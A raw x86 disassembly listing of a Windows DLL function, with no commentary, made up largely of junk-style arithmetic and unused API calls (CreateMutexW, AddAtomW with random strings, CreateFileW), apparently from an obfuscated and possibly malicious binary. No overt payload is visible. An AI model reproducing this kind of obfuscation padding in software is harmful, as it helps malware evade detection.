mov edx, dword [ebp - 0x3534]
movzx eax, byte [edx]
mov ecx, dword [0x100ba854]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x257], al
movsx eax, byte [ebp - 0x33f]
movsx ecx, byte [ebp - 0xcf]
and eax, ecx
mov byte [0x100b71eb], al
lea edx, [ebp - 0x306]
mov dword [ebp - 0x59c4], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba710], eax
lea eax, [ebp - 0x2b4c]
mov dword [ebp - 0x59c8], eax
lea ecx, [ebp - 0xb5a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x48c8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 4]
sar eax, cl
mov byte [0x100b73ca], al
movsx ecx, word [ebp - 0x17d4]
mov edx, dword [0x100bb434]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x5964]
mov word [edx], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x59cc], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc608], eax
movzx eax, word [ebp - 0xc24]
mov ecx, dword [ebp - 0x478c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5048]
mov word [ecx], ax
mov edx, dword [ebp - 0x3324]
mov ecx, dword [ebp - 0x3e04]
shl edx, cl
mov dword [0x100b7548], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x59d0], eax
mov dword [ebp - 0x59d4], 0x100b80ee
mov dword [ebp - 0x59d8], 0x100b734c
mov eax, dword [ebp - 0x405c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3bb0]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x100b73ba], cl
mov ecx, dword [0x100bb238]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3e6c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x55ac]
mov word [eax], dx
movsx ecx, word [ebp - 0xc54]
movsx edx, word [ebp - 0x728]
and ecx, edx
mov eax, dword [ebp - 0x39ac]
mov word [eax], cx
mov ecx, dword [0x100bb0f8]
movsx edx, byte [ecx]
mov eax, dword [0x100babd4]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9724]
mov byte [ecx], dl
movzx edx, word [ebp - 0x9e8]
mov eax, dword [0x100bc54c]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xf88], dx
lea edx, [ebp - 0x2e08]
mov dword [ebp - 0x59dc], edx
push str.KWFoUud_pmjrOFP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc60c], ax
lea eax, [ebp - 0x2d68]
mov dword [0x100bc610], eax
movzx edx, byte [ebp - 0x2ba]
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2b1], dl
mov ecx, dword [ebp - 0x4acc]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x4b0]
add edx, eax
mov ecx, dword [ebp - 0x4884]
mov word [ecx], dx
mov dl, byte [ebp - 0x348]
mov byte [0x100b87d2], dl
lea eax, [ebp - 0xa030]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [ebp - 0x1454]
mov dword [ebp - 0x59e0], ecx
mov edx, dword [0x100babe8]
mov eax, dword [ebp - 0x366c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2dd4], ecx
mov edx, dword [ebp - 0x2af4]
or edx, dword [ebp - 0x5134]
mov eax, dword [0x100bbaf0]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc244], eax
mov ecx, dword [ebp - 0x52f4]
mov dl, byte [ecx]
mov byte [ebp - 0x349], dl
lea eax, [ebp - 0xc1]
mov dword [ebp - 0x59e4], eax
mov ecx, dword [ebp - 0x39ac]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x571c]
movsx ecx, word [eax]
xor edx, ecx
mov word [0x100b7420], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc614], eax
push 0xa58
mov edx, dword [ebp - 0x5240]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x59e8], eax
movzx eax, word [ebp - 0x12c4]
mov ecx, dword [ebp - 0x4834]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x531c]
mov word [edx], ax
mov ecx, dword [ebp - 0x3910]
mov eax, dword [ebp - 0x2e9c]
cdq
idiv dword [ecx]
mov edx, dword [ebp - 0x43a0]
mov dword [edx], eax
mov eax, dword [ebp - 0x51fc]
mov cl, byte [eax]
mov byte [0x100b87d3], cl
mov dl, byte [0x100b726a]
mov byte [ebp - 0x34a], dl
lea eax, [ebp - 0x2d14]
mov dword [ebp - 0x59ec], eax
movzx ecx, word [0x100bc2c8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1a40], ax
movzx edx, word [ebp - 0x121c]
movzx eax, word [ebp - 0x550]
add edx, eax
mov word [0x100b754c], dx
movsx ecx, word [ebp - 0xf2c]
movsx edx, word [ebp - 0x5d8]
and ecx, edx
mov eax, dword [ebp - 0x3b40]
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc618], eax
lea ecx, [ebp - 0x3f4c]
mov dword [ebp - 0x59f0], ecx
push 0x100bb0c8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x17ec]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc61c], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3da0], eax
mov eax, dword [0x100bc544]
movsx ecx, byte [eax]
mov edx, dword [0x100bb114]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x100b821b], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x59f4], eax
mov ecx, dword [ebp - 0x57c8]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x2d2]
shl edx, cl
mov eax, dword [ebp - 0x3ee0]
mov byte [eax], dl
push str.Ck2qrx.ZLP_GRh.IhbtiK5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbd30], ax
lea ecx, [ebp - 0x1168]
mov dword [ebp - 0x59f8], ecx
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
imul ecx, eax, 0x5c1
mov word [0x100bacbc], cx
mov edx, dword [0x100bb790]
mov eax, dword [edx]
xor edx, edx
div dword [ebp - 0x2e08]
mov dword [ebp - 0x2ccc], eax
mov eax, dword [ebp - 0x370c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4e38]
movsx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x3c4c]
mov word [edx], cx
push 0x100baa6c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3e8c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc620], eax
mov eax, dword [ebp - 0x2fa8]
mov dword [0x100bc624], eax
mov dword [ebp - 0x59fc], 0x100b7193
movzx edx, byte [0x100b865b]
mov eax, dword [ebp - 0x4064]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b8136], dl
lea ecx, [ebp - 0xcac]
mov dword [ebp - 0x5a00], ecx
mov edx, dword [ebp - 0x5170]
mov eax, dword [ebp - 0x2f30]
add eax, dword [edx]
mov dword [ebp - 0x2c08], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5a04], eax
lea ecx, [ebp - 0x3028]
mov dword [0x100bc628], ecx
mov dword [ebp - 0x5a08], 0x100b96b4
movzx edx, word [0x100bbc9c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1a44], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5818], eax
mov eax, dword [ebp - 0x4f14]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x20]
and ecx, edx
mov byte [ebp - 0x43], cl
lea eax, [ebp - 0x342]
mov dword [0x100bc62c], eax
push str.EsFU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc630], ax
mov ecx, dword [0x100bab3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3abc], eax
movsx edx, byte [ebp - 0x2ea]
mov eax, dword [ebp - 0x4b6c]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x201], dl
push 0
push 0x40
push 2
push 0
push 4
push 0x40000000
push str.T2nuyYC7omSo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc634], eax
mov ecx, dword [ebp - 0x36f8]
mov edx, dword [ebp - 0x3714]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x3088], eax
movzx eax, word [0x100b73b8]
mov ecx, dword [ebp - 0x4fb4]
movzx ecx, word [ecx]
cdq
idiv ecx
mov edx, dword [0x100bc1ac]
mov word [edx], ax
push str.CauNI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1a48], ax
push 0x100bc638
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [ebp - 0x1720]
mov ecx, dword [ebp - 0x5138]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1390], ax
lea eax, [ebp - 0x5458]
mov dword [ebp - 0x5a0c], eax
mov ecx, dword [ebp - 0x4564]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x57d0]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100bad08]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4104]
mov al, byte [edx]
mov byte [ebp - 0x34b], al
mov ecx, dword [ebp - 0x32ac]
or ecx, dword [ebp - 0x5058]
mov dword [ebp - 0x3108], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5a10], eax
mov dword [0x100bc65c], 0x100bb8e8
mov edx, dword [ebp - 0x45c8]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x47b8]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xee4], ax
movzx eax, word [0x100b74ec]
movzx ecx, word [0x100b7438]
imul eax, ecx
mov edx, dword [ebp - 0x45d0]
mov word [edx], ax
movzx eax, byte [ebp - 0x1b2]
movzx ecx, byte [0x100b71bb]
xor eax, ecx
mov edx, dword [0x100bb2d4]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba6a4], eax
lea eax, [ebp - 0x4e24]
mov dword [ebp - 0x5a14], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x35a4], eax
mov ecx, dword [ebp - 0x53e8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2de8]
mov eax, dword [ebp - 0x3ff4]
mov dword [eax], edx
lea ecx, [ebp - 0x2ed]
mov dword [0x100bc660], ecx
movzx edx, word [ebp - 0x1860]
mov eax, dword [ebp - 0x3c60]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1324], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x44f0], eax
mov dword [ebp - 0x5a18], 0x100bb820
mov edx, dword [ebp - 0x517c]
movsx eax, byte [edx]
mov ecx, dword [0x100bafb4]
movsx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x100baf84]
mov byte [edx], al
mov dword [ebp - 0x5a1c], 0x2cbd
mov eax, dword [ebp - 0x3cfc]
movzx ecx, byte [eax]
mov edx, dword [0x100bbc98]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x2cc], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc664], eax
mov dword [ebp - 0x5a20], 0x100b72a4
mov edx, dword [ebp - 0x2c30]
mov ecx, dword [0x100b7498]
sar edx, cl
mov dword [0x100b7550], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb464], eax
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
mov edx, dword [0x100ba124]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x381c]
mov byte [edx], cl
mov ecx, dword [ebp - 0x350c]
mov edx, dword [0x100b952c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x33fc]
mov dword [ecx], eax
mov edx, dword [0x100b9630]
push edx
mov eax, dword [ebp - 0x3394]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9658], eax
mov ecx, dword [ebp - 0x3414]
push ecx
mov edx, dword [0x100b965c]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [ebp - 0x97f4], eax
mov eax, dword [ebp - 0x3390]
push eax
mov ecx, dword [0x100b95f4]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [ebp - 0x3440], eax
mov edx, dword [ebp - 0x3390]
push edx
mov eax, dword [0x100b9504]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9590], eax
movzx edx, word [ebp - 0xbdc]
movzx ecx, word [ebp - 0x1138]
shl edx, cl
mov word [ebp - 0x61c], dx
mov eax, dword [0x100b94a4]
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x3494]
mov dword [eax], edx
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
push edx
call fcn.10001510
add esp, 4
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
push ecx
call fcn.100015e0
add esp, 4
movsx edx, word [0x100b94f4]
movsx eax, word [ebp - 0x1130]
and edx, eax
mov word [0x100b94a0], dx
mov ecx, dword [0x100b94d8]
push ecx
mov edx, dword [ebp - 0x33c0]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b94e8], eax
mov eax, 0xd0
pop esi
mov esp, ebp
pop ebp
ret 0xc